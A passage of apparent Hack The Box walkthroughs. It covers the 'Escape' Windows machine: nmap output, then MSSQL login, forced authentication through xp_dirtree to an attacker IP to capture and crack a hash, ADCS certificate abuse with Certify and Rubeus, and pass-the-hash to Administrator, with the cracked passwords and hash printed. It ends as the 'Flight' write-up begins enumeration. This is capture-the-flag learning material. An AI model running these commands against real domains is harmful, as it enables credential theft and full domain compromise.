| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VxdWVs
| MRUwEwYDVQQDEwxzZXF1ZWwtREMtQ0EwIBcNMjQwMTE4MjMwMzU3WhgPMjA3NDAx
| MDUyMzAzNTdaMAAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvfUDG
| vZbf6oLv67FXEoeqi+VUDMwFcCWGOpwAlEvMCRhMa2Jqx6nVSl+7URU0rF43c58A
| kAFbwX9E5B4Me4ZDkqkHV5nBBkHEPdDP4ZlYsjAmVrz7bHAzp3coDgF9UKv9S4j8
| g9P8MPaOdxTRR6dwkhVWdIDvIevjeg7oWTawG7MFEX4b7BEwL/uNRYZtyFHrfmzP
| BL5MovrBbZzU4AnggnvpeiLNdenK9Xcp2IIDr8A7h7uFuQ+3pCbXL9El/vEgzxAj
| rsUhf2e6nxNAWrNZSFXLHREt9uFkhTWU26Zoa675Vjq0XNy7J+rXAZiU5q3eD4Kq
| /SiN+ZDAwWJ22XGJAgMBAAGjggK8MIICuDA4BgkrBgEEAYI3FQcEKzApBiErBgEE
| AYI3FQiHq/N2hdymVof9lTWDv8NZg4nKNYF3ASECAW4CAQIwMgYDVR0lBCswKQYI
| KwYBBQUHAwIGCCsGAQUFBwMBBgorBgEEAYI3FAICBgcrBgEFAgMFMA4GA1UdDwEB
| /wQEAwIFoDBABgkrBgEEAYI3FQoEMzAxMAoGCCsGAQUFBwMCMAoGCCsGAQUFBwMB
| MAwGCisGAQQBgjcUAgIwCQYHKwYBBQIDBTAdBgNVHQ4EFgQUCVbgZp4lOmGws1z7
| bP3InfTiHiMwHwYDVR0jBBgwFoAUYp8yo6DwOCDUYMDNbcX6UTBewxUwgcQGA1Ud
| HwSBvDCBuTCBtqCBs6CBsIaBrWxkYXA6Ly8vQ049c2VxdWVsLURDLUNBLENOPWRj
| LENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD
| Tj1Db25maWd1cmF0aW9uLERDPXNlcXVlbCxEQz1odGI/Y2VydGlmaWNhdGVSZXZv
| Y2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50
| MIG9BggrBgEFBQcBAQSBsDCBrTCBqgYIKwYBBQUHMAKGgZ1sZGFwOi8vL0NOPXNl
| cXVlbC1EQy1DQSxDTj1BSUEsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049
| U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1zZXF1ZWwsREM9aHRiP2NBQ2Vy
| dGlmaWNhdGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5
| MC8GA1UdEQEB/wQlMCOCDWRjLnNlcXVlbC5odGKCCnNlcXVlbC5odGKCBnNlcXVl
| bDANBgkqhkiG9w0BAQsFAAOCAQEAK2aJVbODF+3XQ85GflrcPthxILDslZoJff13
| ULw9IQRwFbr5wV/usQR8WXfp4FGWB7g6F3w4vOo8Wnm0eTcQM+N2Ry3aEWiv9SG8
| /Vk18Z1sSU2hzlTdZbVJWgZwCyPvYoV02uPkP12f+Z9groRTtOEBq0AgdMDc5hZ/
| A8Ikn9UuctvkX6qgw+ofyVveIqsE0GL6DCDGw6iUmXIgVJk5fgQnfyQquqnmhVnA
| 8NoXXuh0ioTHmCqYrdtIcB8KC4nS70p3ef2F2fTNejqtw46M04VZQw/67Y+83hI5
| I1fLChrYFtPk3g5JHaHyIE9aY3EUmU3EH2SKhRSi5R6GJBctmw==
|_-----END CERTIFICATE-----
|_ssl-date: 2025-04-10T01:37:34+00:00; +7h59m42s from scanner time.
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-10T01:37:33+00:00; +7h59m42s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Issuer: commonName=sequel-DC-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-01-18T23:03:57
| Not valid after:  2074-01-05T23:03:57
| MD5:   ee4c:c647:ebb2:c23e:f472:1d70:2880:9d82
| SHA-1: d88d:12ae:8a50:fcf1:2242:909e:3dd7:5cff:92d1:a480
| -----BEGIN CERTIFICATE-----
| MIIFkTCCBHmgAwIBAgITHgAAAAsyZYRdLEkTIgAAAAAACzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VxdWVs
| MRUwEwYDVQQDEwxzZXF1ZWwtREMtQ0EwIBcNMjQwMTE4MjMwMzU3WhgPMjA3NDAx
| MDUyMzAzNTdaMAAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvfUDG
| vZbf6oLv67FXEoeqi+VUDMwFcCWGOpwAlEvMCRhMa2Jqx6nVSl+7URU0rF43c58A
| kAFbwX9E5B4Me4ZDkqkHV5nBBkHEPdDP4ZlYsjAmVrz7bHAzp3coDgF9UKv9S4j8
| g9P8MPaOdxTRR6dwkhVWdIDvIevjeg7oWTawG7MFEX4b7BEwL/uNRYZtyFHrfmzP
| BL5MovrBbZzU4AnggnvpeiLNdenK9Xcp2IIDr8A7h7uFuQ+3pCbXL9El/vEgzxAj
| rsUhf2e6nxNAWrNZSFXLHREt9uFkhTWU26Zoa675Vjq0XNy7J+rXAZiU5q3eD4Kq
| /SiN+ZDAwWJ22XGJAgMBAAGjggK8MIICuDA4BgkrBgEEAYI3FQcEKzApBiErBgEE
| AYI3FQiHq/N2hdymVof9lTWDv8NZg4nKNYF3ASECAW4CAQIwMgYDVR0lBCswKQYI
| KwYBBQUHAwIGCCsGAQUFBwMBBgorBgEEAYI3FAICBgcrBgEFAgMFMA4GA1UdDwEB
| /wQEAwIFoDBABgkrBgEEAYI3FQoEMzAxMAoGCCsGAQUFBwMCMAoGCCsGAQUFBwMB
| MAwGCisGAQQBgjcUAgIwCQYHKwYBBQIDBTAdBgNVHQ4EFgQUCVbgZp4lOmGws1z7
| bP3InfTiHiMwHwYDVR0jBBgwFoAUYp8yo6DwOCDUYMDNbcX6UTBewxUwgcQGA1Ud
| HwSBvDCBuTCBtqCBs6CBsIaBrWxkYXA6Ly8vQ049c2VxdWVsLURDLUNBLENOPWRj
| LENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD
| Tj1Db25maWd1cmF0aW9uLERDPXNlcXVlbCxEQz1odGI/Y2VydGlmaWNhdGVSZXZv
| Y2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50
| MIG9BggrBgEFBQcBAQSBsDCBrTCBqgYIKwYBBQUHMAKGgZ1sZGFwOi8vL0NOPXNl
| cXVlbC1EQy1DQSxDTj1BSUEsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049
| U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1zZXF1ZWwsREM9aHRiP2NBQ2Vy
| dGlmaWNhdGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5
| MC8GA1UdEQEB/wQlMCOCDWRjLnNlcXVlbC5odGKCCnNlcXVlbC5odGKCBnNlcXVl
| bDANBgkqhkiG9w0BAQsFAAOCAQEAK2aJVbODF+3XQ85GflrcPthxILDslZoJff13
| ULw9IQRwFbr5wV/usQR8WXfp4FGWB7g6F3w4vOo8Wnm0eTcQM+N2Ry3aEWiv9SG8
| /Vk18Z1sSU2hzlTdZbVJWgZwCyPvYoV02uPkP12f+Z9groRTtOEBq0AgdMDc5hZ/
| A8Ikn9UuctvkX6qgw+ofyVveIqsE0GL6DCDGw6iUmXIgVJk5fgQnfyQquqnmhVnA
| 8NoXXuh0ioTHmCqYrdtIcB8KC4nS70p3ef2F2fTNejqtw46M04VZQw/67Y+83hI5
| I1fLChrYFtPk3g5JHaHyIE9aY3EUmU3EH2SKhRSi5R6GJBctmw==
|_-----END CERTIFICATE-----
1433/tcp  open  ms-sql-s      syn-ack ttl 127 Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info: 
|   10.10.11.202:1433: 
|     Target_Name: sequel
|     NetBIOS_Domain_Name: sequel
|     NetBIOS_Computer_Name: DC
|     DNS_Domain_Name: sequel.htb
|     DNS_Computer_Name: dc.sequel.htb
|     DNS_Tree_Name: sequel.htb
|_    Product_Version: 10.0.17763
|_ssl-date: 2025-04-10T01:37:34+00:00; +7h59m42s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-10T01:11:39
| Not valid after:  2055-04-10T01:11:39
| MD5:   3345:76de:78f5:20d5:29e6:3f30:be5b:2a1a
| SHA-1: 83fa:788f:77d1:0815:6581:082a:0c6f:be0f:6590:7914
| -----BEGIN CERTIFICATE-----
| MIIDADCCAeigAwIBAgIQHCR4vo3t7JFH25pv7GjtMDANBgkqhkiG9w0BAQsFADA7
| MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA
| bABsAGIAYQBjAGswIBcNMjUwNDEwMDExMTM5WhgPMjA1NTA0MTAwMTExMzlaMDsx
| OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs
| AGwAYgBhAGMAazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALbvKW8b
| LgiTqnMSl+g7fGyyLJs6q7YyGhUJaBfkehlWqvd1jPKKNW9hCxVam3jhZkh/Z73k
| iDUtCtiGClDBRWu/MM2c0LZccB1VgtZPmz6Y2aW9yQ8idN882JZ08gtn4S9LGlR7
| GUXW1ObSKPy2f+GBAvcwm5D2BbvBrVs8DRwcg/nZNhB3gwPiwF3denwg6E7km4La
| Jm4ERsQ8SJ7XQLWyzYspAXC+5AINJcHL5WVydOXf3kXbiG7Qedn3UxVcayx082iK
| whNA3jmlpkylU5huOXAkcHFaH2zjjQQTDIjRN7DmcEO4dNI4Mx8CIsaOwcxolNX1
| nsNocuXqti6htPECAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAkDYomJJD8p6bUlEI
| PSdtfA06nRTQK3p272qaVC4fevffvTY0AWTdK8MjeoinhivHiDarEkJLuQaKlH1k
| EmWED8KQGbPaK9Q3X9oy+D9L7i6JuNKrIHPQ/oF8Pqq9gy+EZt05PosMmhhrNNbB
| dKBdnge5+zjYQX0m+5RoqwO80B4b1lPSGZCQ8/pegTarYsCwkn28VwNU3oRLwgmT
| 4hoIa3I+e6/7eMtnV32F3CnZfnpAA2yu1sZOXdoAq7lehP1rxBlvoarBDi2w9YVF
| 9Vcf4EsUyPu5uBlgmyPJBoZW6AJaIMPzbuZS9tBtWZBvD7HOcIkmrY/gkGPBQl51
| 7dzFLg==
|_-----END CERTIFICATE-----
| ms-sql-info: 
|   10.10.11.202:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Issuer: commonName=sequel-DC-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-01-18T23:03:57
| Not valid after:  2074-01-05T23:03:57
| MD5:   ee4c:c647:ebb2:c23e:f472:1d70:2880:9d82
| SHA-1: d88d:12ae:8a50:fcf1:2242:909e:3dd7:5cff:92d1:a480
| -----BEGIN CERTIFICATE-----
| MIIFkTCCBHmgAwIBAgITHgAAAAsyZYRdLEkTIgAAAAAACzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VxdWVs
| MRUwEwYDVQQDEwxzZXF1ZWwtREMtQ0EwIBcNMjQwMTE4MjMwMzU3WhgPMjA3NDAx
| MDUyMzAzNTdaMAAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvfUDG
| vZbf6oLv67FXEoeqi+VUDMwFcCWGOpwAlEvMCRhMa2Jqx6nVSl+7URU0rF43c58A
| kAFbwX9E5B4Me4ZDkqkHV5nBBkHEPdDP4ZlYsjAmVrz7bHAzp3coDgF9UKv9S4j8
| g9P8MPaOdxTRR6dwkhVWdIDvIevjeg7oWTawG7MFEX4b7BEwL/uNRYZtyFHrfmzP
| BL5MovrBbZzU4AnggnvpeiLNdenK9Xcp2IIDr8A7h7uFuQ+3pCbXL9El/vEgzxAj
| rsUhf2e6nxNAWrNZSFXLHREt9uFkhTWU26Zoa675Vjq0XNy7J+rXAZiU5q3eD4Kq
| /SiN+ZDAwWJ22XGJAgMBAAGjggK8MIICuDA4BgkrBgEEAYI3FQcEKzApBiErBgEE
| AYI3FQiHq/N2hdymVof9lTWDv8NZg4nKNYF3ASECAW4CAQIwMgYDVR0lBCswKQYI
| KwYBBQUHAwIGCCsGAQUFBwMBBgorBgEEAYI3FAICBgcrBgEFAgMFMA4GA1UdDwEB
| /wQEAwIFoDBABgkrBgEEAYI3FQoEMzAxMAoGCCsGAQUFBwMCMAoGCCsGAQUFBwMB
| MAwGCisGAQQBgjcUAgIwCQYHKwYBBQIDBTAdBgNVHQ4EFgQUCVbgZp4lOmGws1z7
| bP3InfTiHiMwHwYDVR0jBBgwFoAUYp8yo6DwOCDUYMDNbcX6UTBewxUwgcQGA1Ud
| HwSBvDCBuTCBtqCBs6CBsIaBrWxkYXA6Ly8vQ049c2VxdWVsLURDLUNBLENOPWRj
| LENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD
| Tj1Db25maWd1cmF0aW9uLERDPXNlcXVlbCxEQz1odGI/Y2VydGlmaWNhdGVSZXZv
| Y2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50
| MIG9BggrBgEFBQcBAQSBsDCBrTCBqgYIKwYBBQUHMAKGgZ1sZGFwOi8vL0NOPXNl
| cXVlbC1EQy1DQSxDTj1BSUEsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049
| U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1zZXF1ZWwsREM9aHRiP2NBQ2Vy
| dGlmaWNhdGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5
| MC8GA1UdEQEB/wQlMCOCDWRjLnNlcXVlbC5odGKCCnNlcXVlbC5odGKCBnNlcXVl
| bDANBgkqhkiG9w0BAQsFAAOCAQEAK2aJVbODF+3XQ85GflrcPthxILDslZoJff13
| ULw9IQRwFbr5wV/usQR8WXfp4FGWB7g6F3w4vOo8Wnm0eTcQM+N2Ry3aEWiv9SG8
| /Vk18Z1sSU2hzlTdZbVJWgZwCyPvYoV02uPkP12f+Z9groRTtOEBq0AgdMDc5hZ/
| A8Ikn9UuctvkX6qgw+ofyVveIqsE0GL6DCDGw6iUmXIgVJk5fgQnfyQquqnmhVnA
| 8NoXXuh0ioTHmCqYrdtIcB8KC4nS70p3ef2F2fTNejqtw46M04VZQw/67Y+83hI5
| I1fLChrYFtPk3g5JHaHyIE9aY3EUmU3EH2SKhRSi5R6GJBctmw==
|_-----END CERTIFICATE-----
|_ssl-date: 2025-04-10T01:37:34+00:00; +7h59m42s from scanner time.
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-10T01:37:33+00:00; +7h59m42s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Issuer: commonName=sequel-DC-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-01-18T23:03:57
| Not valid after:  2074-01-05T23:03:57
| MD5:   ee4c:c647:ebb2:c23e:f472:1d70:2880:9d82
| SHA-1: d88d:12ae:8a50:fcf1:2242:909e:3dd7:5cff:92d1:a480
| -----BEGIN CERTIFICATE-----
| MIIFkTCCBHmgAwIBAgITHgAAAAsyZYRdLEkTIgAAAAAACzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VxdWVs
| MRUwEwYDVQQDEwxzZXF1ZWwtREMtQ0EwIBcNMjQwMTE4MjMwMzU3WhgPMjA3NDAx
| MDUyMzAzNTdaMAAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvfUDG
| vZbf6oLv67FXEoeqi+VUDMwFcCWGOpwAlEvMCRhMa2Jqx6nVSl+7URU0rF43c58A
| kAFbwX9E5B4Me4ZDkqkHV5nBBkHEPdDP4ZlYsjAmVrz7bHAzp3coDgF9UKv9S4j8
| g9P8MPaOdxTRR6dwkhVWdIDvIevjeg7oWTawG7MFEX4b7BEwL/uNRYZtyFHrfmzP
| BL5MovrBbZzU4AnggnvpeiLNdenK9Xcp2IIDr8A7h7uFuQ+3pCbXL9El/vEgzxAj
| rsUhf2e6nxNAWrNZSFXLHREt9uFkhTWU26Zoa675Vjq0XNy7J+rXAZiU5q3eD4Kq
| /SiN+ZDAwWJ22XGJAgMBAAGjggK8MIICuDA4BgkrBgEEAYI3FQcEKzApBiErBgEE
| AYI3FQiHq/N2hdymVof9lTWDv8NZg4nKNYF3ASECAW4CAQIwMgYDVR0lBCswKQYI
| KwYBBQUHAwIGCCsGAQUFBwMBBgorBgEEAYI3FAICBgcrBgEFAgMFMA4GA1UdDwEB
| /wQEAwIFoDBABgkrBgEEAYI3FQoEMzAxMAoGCCsGAQUFBwMCMAoGCCsGAQUFBwMB
| MAwGCisGAQQBgjcUAgIwCQYHKwYBBQIDBTAdBgNVHQ4EFgQUCVbgZp4lOmGws1z7
| bP3InfTiHiMwHwYDVR0jBBgwFoAUYp8yo6DwOCDUYMDNbcX6UTBewxUwgcQGA1Ud
| HwSBvDCBuTCBtqCBs6CBsIaBrWxkYXA6Ly8vQ049c2VxdWVsLURDLUNBLENOPWRj
| LENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD
| Tj1Db25maWd1cmF0aW9uLERDPXNlcXVlbCxEQz1odGI/Y2VydGlmaWNhdGVSZXZv
| Y2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50
| MIG9BggrBgEFBQcBAQSBsDCBrTCBqgYIKwYBBQUHMAKGgZ1sZGFwOi8vL0NOPXNl
| cXVlbC1EQy1DQSxDTj1BSUEsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049
| U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1zZXF1ZWwsREM9aHRiP2NBQ2Vy
| dGlmaWNhdGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5
| MC8GA1UdEQEB/wQlMCOCDWRjLnNlcXVlbC5odGKCCnNlcXVlbC5odGKCBnNlcXVl
| bDANBgkqhkiG9w0BAQsFAAOCAQEAK2aJVbODF+3XQ85GflrcPthxILDslZoJff13
| ULw9IQRwFbr5wV/usQR8WXfp4FGWB7g6F3w4vOo8Wnm0eTcQM+N2Ry3aEWiv9SG8
| /Vk18Z1sSU2hzlTdZbVJWgZwCyPvYoV02uPkP12f+Z9groRTtOEBq0AgdMDc5hZ/
| A8Ikn9UuctvkX6qgw+ofyVveIqsE0GL6DCDGw6iUmXIgVJk5fgQnfyQquqnmhVnA
| 8NoXXuh0ioTHmCqYrdtIcB8KC4nS70p3ef2F2fTNejqtw46M04VZQw/67Y+83hI5
| I1fLChrYFtPk3g5JHaHyIE9aY3EUmU3EH2SKhRSi5R6GJBctmw==
|_-----END CERTIFICATE-----
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49689/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49711/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49724/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
	49743/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 63970/tcp): CLEAN (Timeout)
|   Check 2 (port 62013/tcp): CLEAN (Timeout)
|   Check 3 (port 50586/udp): CLEAN (Timeout)
|   Check 4 (port 32529/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 7h59m41s, deviation: 0s, median: 7h59m41s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-04-10T01:36:56
|_  start_date: N/A

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr  9 13:37:56 2025 -- 1 IP address (1 host up) scanned in 1458.07 seconds

Enumeration

Port 139,445/SMB

let’s check the SMB for Null session

smbclient -L //10.10.11.202 -N

let’s connect all shares one by one and check if we have anything

first we tried NETLOGON, we don’t have listing permissions same for the SYSVOL

let’s run enum4linux using

enum4linux -a 10.10.11.202

we found Domain Name and Domain SID, let’s Note the Domain SID it can be used on later attacks

let’s download file using get "SQL Server Procedures.pdf"

let’s read the SQL server Procedures.pdf

we found the user PublicUser and password GuestUserCanWrite1 what about give try to SQL server login

impacket-mssqlclient sequel.htb/PublicUser:GuestUserCanWrite1@10.10.11.202

let’s check the available databases in sql server using SELECT name FROM master.sys.databases

let’s use the model database using use model;

we don’t have the permissions

let’s check login users for the sql server

SELECT name from sys.sql_logins

ok we have only sa and PublicUser, also we don’t have the xp_cmdshell permissions, so what now? xp_dirtree? let’s try this

we do have the permissions so what now!!

start responder on kali using sudo responder -I tun0 -v

run following code from mssql shell

xp_dirtree \\10.10.14.17\test

we got the hash for sql_svc user let’s crack this using hashcat

hashcat -m 5600 mssql.hash /usr/share/wordlists/rockyou.txt

let’s check if we have access to SMB, winrm or RDP using netexec

netexec winrm 10.10.11.202 -u sql_svc -p REGGIE1234ronnie

Bingo!!, let’s login as sql_svc

evil-winrm -i 10.10.11.202 -u sql_svc -p REGGIE1234ronnie

nice we got shell as sql_svc seems to be a service user let’s check what privileges does it has

whoami /priv

no special privileges, let’s check the Users on then system

let’s just create a list of user’s and try to spray password to each users first we’ll check the password policy by net accounts

we don’t need to worry about the lockout as it it disabled! (Lockout threshold - Never)

we’ve created users.txt and password.txt let’s use netexec to spray passwords for all users

No Password reuse 😟

let’s start enumerating system manually, first we’ll check for the interesting files/directories we found C:\SQLServer\Logs ERRORLOG.BAk file interesting let’s find password into it maybe using type ERRORLOG.BAK | findstr /i password

cd \SQLServer\Logs

type ERRORLOG.BAK | findstr /i password

great we found password for Ryan.Cooper!!, let’s check how we can get shell as Ryan.Cooper, we’ll check which groups this user member of

Remote Management Users, nice so we can evil-winrm to this user

evil-winrm -i 10.10.11.202 -u Ryan.Cooper -p NuclearMosquito3

Shell as Administrator

i’ve done following Enumeration after login as the Ryan.Cooper

Bloodhound, Manual Enumeration of the system
winPEAS but nothing found, after taking small hint i found that i need to work on ADCS Exploitation AD CS (Active Directory Certificate Services)

then i started enumeration for the Abusing AD CS first i used the netexec

netexec ldap 10.10.11.202 -u Ryan.Cooper -p NuclearMosquito3 -M adcs

With ADCS running, the next question is if there are any templates in this ADCS that are insecurely configured. To enumerate further, I’ll upload the Certify, you can download pre-compiled binary from here

then run the following command as Ryan.Cooper

.\Certify.exe find /vulnerable

then i’ll request Certificate from CA

.\Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:Administratorertificate from `---BEGIN RSA PRIVATE KEY---

copy full certificate from - - - BEGIN RSA PRIVATE KEY - - - to - - - END CERTIFICATE - - -

on linux run following command

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

don’t enter the password now upload the cert.pfx to target machine

then i’ll request TGT using Rubeus.exe

.\Rubeus.exe asktgt /user:Administrator /certificate:C:\Temp\cert.pfx

by default the Rubues will load the TGT into current session so we can read the flag by accessing the directory but we need to login to account, so let’s try to dump the NTLM hash via /getcredentials /show /nowrap

.\Rubeus.exe asktgt /user:Administrator /certificate:C:\Temp\cert.pfx /getcredentials /show /nowrap

now we have NTLM hash so let’s just use it to login via evil-winrm

evil-winrm -i 10.10.11.202 -u Administrator -H A52F78E4C751E5F5E17E1E9F3E58F4EE

Flight

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Flight
OS Type: Windows
Difficulty: Hard

Port Scanning - Service & Version Enumeration

# Nmap 7.95 scan initiated Mon Apr 21 09:53:40 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.11.187
Nmap scan report for 10.10.11.187
Host is up, received echo-reply ttl 127 (0.28s latency).
Scanned at 2025-04-21 09:53:41 IST for 752s
Not shown: 65517 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
80/tcp    open  http          syn-ack ttl 127 Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-title: g0 Aviation
| http-methods: 
|   Supported Methods: OPTIONS HEAD GET POST TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-04-21 11:34:34Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49673/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49674/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49697/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49722/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 32072/tcp): CLEAN (Timeout)
|   Check 2 (port 59198/tcp): CLEAN (Timeout)
|   Check 3 (port 44855/udp): CLEAN (Timeout)
|   Check 4 (port 47973/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 6h59m59s
| smb2-time: 
|   date: 2025-04-21T11:35:27
|_  start_date: N/A

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr 21 10:06:13 2025 -- 1 IP address (1 host up) scanned in 753.06 seconds

Enumeration

Port 80/HTTP

i’ll start my enumeration from port http which is running a website of company

let’s run the whatweb to check web technologoies

Port 139,445/SMB

let’s check the smb for null session

smbclient -L //10.10.11.187

let’s check enum4linux, nothing from enum4linux

Port 135/MSRPC

rpcclient -U "" -N 10.10.11.187

Nothing interesting yet, i’m moving to web enumeration and let’s enumerate for any subdomains for the website i’ll be using wfuzz tool for that

